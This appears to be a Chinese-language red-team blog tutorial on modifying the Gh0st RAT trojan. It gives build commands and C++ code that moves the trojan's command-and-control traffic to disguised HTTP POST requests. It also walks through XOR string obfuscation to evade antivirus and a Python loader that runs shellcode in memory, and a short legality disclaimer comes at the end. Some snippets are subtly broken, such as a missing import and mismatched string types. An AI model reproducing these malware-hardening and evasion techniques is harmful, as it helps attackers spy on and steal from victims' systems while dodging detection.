一、从一起APT攻击说起
2018年,一次针对某东南亚政府机构的APT攻击引起了广泛关注。攻击者使用了一款经典的远控木马——Gh0st RAT,通过钓鱼邮件携带的恶意文档成功植入目标系统,并对受害者网络进行了长达数月的监控、数据窃取和破坏。Gh0st RAT的最大特点是其体积小、功能强,并且在过去10年间不断被恶意开发者改造和升级,形成了五花八门的变种。
作为一款流传甚广的远控框架,Gh0st RAT的源代码早已泄露。它的模块化设计和易于扩展的架构让它不仅成为攻击者的最爱,也成为红队研究人员学习和定制远控工具的首选。然而,原版Gh0st的行为模式和签名特征早已被主流杀毒软件和EDR产品收录,直接使用几乎等于“自杀”。因此,如何对Gh0st RAT进行高质量的二次开发,使其具备现代免杀能力和对抗检测能力,是每个红队成员必须掌握的技能。
在本文中,我将从攻击者的视角出发,带你一步步完成Gh0st RAT的二次开发工作。我们不仅会实现核心代码的功能改造,还会探讨多种免杀和流量伪装的实现方式,展示如何将一款经典的远控框架武器化,使其在现代攻防环境中“重获新生”。
---
二、为什么选择Gh0st RAT?
选择Gh0st RAT作为二次开发的基础并非偶然。它的设计理念和代码结构非常适合红队定制化操作:
- 轻量级架构
Gh0st RAT采用C++编写,核心代码仅数千行,运行时占用资源极少,适合隐蔽性要求高的攻击场景。
- 功能模块化
原版Gh0st提供了远程桌面、文件管理、键盘记录、进程控制等功能模块,这些模块可以按需裁剪或扩展。
- 网络通信灵活
Gh0st使用自定义的二进制通信协议,默认基于TCP实现。攻击者可以轻松修改协议或迁移到HTTP/HTTPS等更隐蔽的传输方式。
- 开源项目众多
互联网上存在大量Gh0st RAT的开源版本,比如gh0st_open。这些代码为我们提供了完善的参考实现,可以快速上手。
接下来,我们将基于一个公开的Gh0st开源版本,逐步进行功能改造、免杀优化和对抗增强。
---
三、复现与环境搭建

为了让实验具有可操作性,我们需要搭建一个完整的攻击链测试环境,包括以下几个部分:
- 攻击机
一台装有Kali Linux或Parrot OS的虚拟机,作为我们的攻击端主机,配置以下工具:
- Python 3.9+
- GCC编译器
- Wireshark(用于流量捕获分析)
- Visual Studio Code(用于修改和调试代码)
- 目标靶机
一台运行Windows 10的虚拟机,用于模拟受害者环境,安装以下工具:
- Process Hacker(便于观察进程行为)
- Fiddler(用于抓包分析)
- Windows Defender(用于测试免杀效果)
- C2服务器
我们将使用一台本地的Linux服务器,部署自定义的C2控制端,以模拟真实攻击场景。
以下是环境搭建的简化步骤:
<pre><code class="language-bash"># 在攻击机上安装必备工具 sudo apt update sudo apt install -y build-essential python3 python3-pip wireshark
克隆Gh0st RAT开源代码
git clone https://github.com/gh0st-open/gh0st_open.git cd gh0st_open
检查环境是否满足编译条件
sudo apt install -y mingw-w64</code></pre>
在完成环境准备后,我们需要检查原版Gh0st的运行效果,确保其能够正常通信。为此,我们可以直接编译源代码并生成一个基础的RAT样本。
<pre><code class="language-bash"># 使用MinGW编译Gh0st的客户端代码 x86_64-w64-mingw32-g++ -o gh0st_client.exe client.cpp -lws2_32</code></pre>
将生成的gh0st_client.exe复制到靶机运行,并在C2服务器上启动监听,确保受控机能够成功连接。
---
四、功能改造:从TCP到HTTP/HTTPS
原版Gh0st RAT使用明文的TCP协议进行通信,这种方式虽然简单高效,但它的流量特征极为明显,极易被网络安全设备检测。现代攻击者通常会选择HTTP/HTTPS作为传输层协议,因为这种流量模式更接近正常的Web行为,难以被识别。
改造通信模块
我们需要修改Gh0st的通信模块,使其支持HTTP/HTTPS流量。以下是代码改造的核心部分:
- 替换TCP连接函数,改用HTTP请求发送数据。
- 在服务端实现基本的HTTP解析逻辑。
以下是新的通信函数示例(C++实现):
<pre><code class="language-cpp">#include <windows.h>
include <wininet.h>
// 使用WinINet库通过HTTP发送数据 bool SendViaHttp(const std::string& server, const std::string& endpoint, const std::string& data) { HINTERNET hSession = InternetOpen(L"gh0st_http_client", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (!hSession) return false;
HINTERNET hConnect = InternetConnect(hSession, server.c_str(), INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (!hConnect) { InternetCloseHandle(hSession); return false; }
HINTERNET hRequest = HttpOpenRequest(hConnect, L"POST", endpoint.c_str(), NULL, NULL, NULL, INTERNET_FLAG_RELOAD, 0); if (!hRequest) { InternetCloseHandle(hConnect); InternetCloseHandle(hSession); return false; }

bool result = HttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded", -1, (void*)data.c_str(), data.size());
InternetCloseHandle(hRequest); InternetCloseHandle(hConnect); InternetCloseHandle(hSession);
return result; }</code></pre>
此函数通过WinINet库实现了HTTP POST请求的发送。攻击者可以将其集成到Gh0st的通信模块中,替代原有的TCP发送逻辑。
流量伪装策略
为了进一步提高隐蔽性,我们可以在发送数据时模拟合法的HTTP头信息。例如,将User-Agent伪装成常见的浏览器标识:
<pre><code class="language-cpp">HttpSendRequest(hRequest, L"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\n", ...);</code></pre>

此外,我们可以将恶意数据伪装成普通的JSON或Base64编码内容,从而进一步混淆痕迹。
---
五、免杀与对抗:逃避检测的技巧
随着现代EDR产品的普及,传统的静态和动态免杀技术已不足以应对高级检测策略。在这一部分,我们将介绍几种对抗方法,包括代码混淆、动态加密和内存加载。
静态免杀:代码混淆
静态特征检测是杀毒软件的基本能力之一。为了避开这种检测,我们可以对Gh0st的核心代码进行混淆和变形。例如,使用字符串加密来隐藏恶意API调用:
<pre><code class="language-cpp">// 简化的AES加密解密函数,用于字符串混淆 std::string Encrypt(const std::string& data, const std::string& key) { // 简单的XOR加密实现 std::string output = data; for (size_t i = 0; i < data.size(); i++) { output[i] ^= key[i % key.size()]; } return output; }</code></pre>
在关键位置调用加密函数,避免明文特征被检测。
动态免杀:内存加载
为了绕过文件扫描,我们可以实现纯内存加载的恶意载荷,即将Gh0st的核心代码直接注入目标进程中运行,而不落地磁盘。
以下是一个内存加载示例(Python实现):
<pre><code class="language-python">import ctypes
将恶意二进制代码存储为Base64字符串
payload = "base64_encoded_shellcode_here"
解码并加载到内存
shellcode = base64.b64decode(payload) buffer = ctypes.create_string_buffer(shellcode) shellcode_func = ctypes.cast(buffer, ctypes.CFUNCTYPE(None))
执行Shellcode
shellcode_func()</code></pre>
---
六、经验总结:做一个隐形的攻击者
在本次Gh0st RAT的改造过程中,我们经历了从功能优化到免杀实现的完整流程。以下是我的几点心得:
- 模块化设计是关键
在实际攻击中,模块化的工具可以大大提高灵活性。例如,在不同场景下,我们可以快速替换通信协议或动态调整免杀策略。
- 对抗是长期的博弈
每一次成功的免杀技术都会周期性过时,攻击者必须不断学习新的对抗方法,保持领先地位。
- 合法授权是基础
所有的攻击技术都应建立在合法授权的基础上,确保研究行为不触碰法律底线。
本文仅供安全研究和学习使用,请勿用于非法用途。希望通过这篇文章,能为你的红队实战能力提升提供一些启发。